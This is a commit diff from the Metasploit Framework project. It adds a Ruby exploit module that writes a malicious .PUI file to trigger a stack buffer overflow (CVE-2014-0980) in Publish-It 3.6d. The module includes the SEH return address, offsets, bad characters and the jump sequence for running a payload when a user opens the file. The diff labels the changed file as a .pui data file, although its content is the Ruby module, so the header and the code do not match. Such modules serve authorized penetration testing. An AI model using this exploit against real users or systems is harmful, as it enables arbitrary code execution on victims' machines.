Land rapid7#4792 @jakxx Publish It PUI file exploit

Author: zeroSteiner

data/exploits/CVE-2014-0980.pui

@@ -0,0 +1,82 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'    => 'Publish-It PUI Buffer Overflow (SEH)',
+      'Description'  => %q{
+          This module exploits a stack based buffer overflow in Publish-It when
+          processing a specially crafted .PUI file. This vulnerability could be
+          exploited by a remote attacker to execute arbitrary code on the target
+          machine by enticing a user of Publish-It to open a malicious .PUI file.
+      },
+      'License'    => MSF_LICENSE,
+      'Author'    =>
+        [
+          'Daniel Kazimirow',  # Original discovery
+          'Andrew Smith "jakx_"',  # Exploit and MSF Module
+        ],
+      'References'  =>
+        [
+          [ 'OSVDB', '102911' ],
+          [ 'CVE', '2014-0980' ],
+          [ 'EDB', '31461' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process',
+        },
+      'Platform'  => 'win',
+      'Payload'  =>
+        {
+          'BadChars' => "\x00\x0b\x0a",
+          'DisableNops' => true,
+          'Space' => 377
+        },
+      'Targets'    =>
+        [
+          [ 'Publish-It 3.6d',
+            {
+              'Ret'     =>  0x0046e95a, #p/p/r | Publish.EXE
+              'Offset'  =>  1082
+            }
+          ],
+        ],
+      'Privileged'  => false,
+      'DisclosureDate'  => 'Feb 5 2014',
+      'DefaultTarget'  => 0))
+
+    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
+
+  end
+
+  def exploit
+
+    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
+    fd = File.open(path, "rb")
+    template_data = fd.read(fd.stat.size)
+    fd.close
+
+    buffer = template_data
+    buffer << make_nops(700)
+    buffer << payload.encoded
+    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
+    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
+    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
+    buffer << make_nops(2)
+    buffer << [target.ret].pack("V")
+
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create(buffer)
+
+  end
+end